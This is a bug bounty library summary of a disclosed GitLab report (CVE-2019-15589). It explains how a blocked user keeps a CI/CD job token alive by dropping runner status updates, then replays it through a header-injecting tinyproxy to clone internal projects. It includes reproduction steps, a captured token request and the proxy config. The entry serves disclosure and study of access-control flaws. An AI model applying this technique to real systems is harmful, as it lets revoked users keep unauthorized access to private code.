# Blocked user Git access through CI/CD token

Blocked GitLab user retains CI/CD token by hanging a runner job, then uses it to clone internal projects via git.

- Payout: $1,500
- Severity: medium
- Program: GitLab
- Found by: logan5
- Disclosed: 2019-12-13
- CVE: CVE-2019-15589
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/497047
- Library page: https://bugbountylibrary.com/r/h1%3A497047
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:medium tech:ci-cd technique:race-window vuln:access-control vuln:auth-bypass

**Target:** GitLab CI/CD runner job token and git HTTP endpoint
**Root cause:** Running CI/CD jobs don't check whether the triggering user is blocked, and dropping runner trace/status responses keeps the job alive past timeout so the short-lived CI token never expires.
**Steps:**
1. Create project, register shell runner, add `.gitlab-ci.yml` with `script: echo helloworld > /tmp/test`
2. Proxy gitlab-runner and git client through Burp (`http.proxy` + systemd `HTTP_PROXY`)
3. Run pipeline, intercept `GET /<user>/<proj>.git/info/refs?service=git-upload-pack` and capture `Authorization: Basic <base64 gitlab-ci-token:...>`
4. Drop the runner's trace/status update requests (2-3) so job hangs indefinitely past timeout
5. Block the user account
6. Configure tinyproxy with `AddHeader Authorization: Basic <token>` and `git config --global http.proxy http://127.0.0.1:1234`
7. `git clone http://host/<victim>/<internal_project>.git` succeeds despite block
**How found:** Noticed blocked users lose UI/API/git but CI jobs still run; hypothesized the job token outlives the block, then tested whether suppressing runner status updates prevents job timeout and token expiry.
**Exploitation:** Attacker pre-stages a runner and captures the CI job token, then hangs the job by dropping status callbacks so the token never expires; after being blocked they replay the token via a header-injecting proxy to clone any project the blocked account could access, including new internal projects.
**Escalation:** Token grants access to projects created after the block, extending beyond pre-block permissions.
**Insight:** Short-lived CI/CD job tokens are often scoped to the job lifecycle, not the user's current state—try stalling job completion (dropping runner callbacks) to extend token lifetime past account suspension.

## Proof of concept (copied exactly from the original report)

**Intercepted git clone request leaking CI/CD token**

```
GET /testuser1/block_poc.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 192.168.0.16
Authorization: Basic Z2l0bGFiLWNpLXRva2VuOlVwbnllR2plRlo4cV95UnptV1Fx
```

**Tinyproxy config injecting stolen CI token header**

```
$ apt-get install tinyproxy
$ vim /etc/tinyproxy/tinyproxy.conf
	#Add the following content
	Port 1234    #changed from default
	AddHeader Authorization: Basic Z2l0bGFiLWNpLXRva2VuOlVwbnllR2plRlo4cV95UnptV1Fx
```

**Git clone of internal project after block**

```
#Clone testuser2/internal_project
#new internal project added by testuser2 after testuser1 block
$ git clone http://192.168.0.16/testuser2/internal_project.git
```

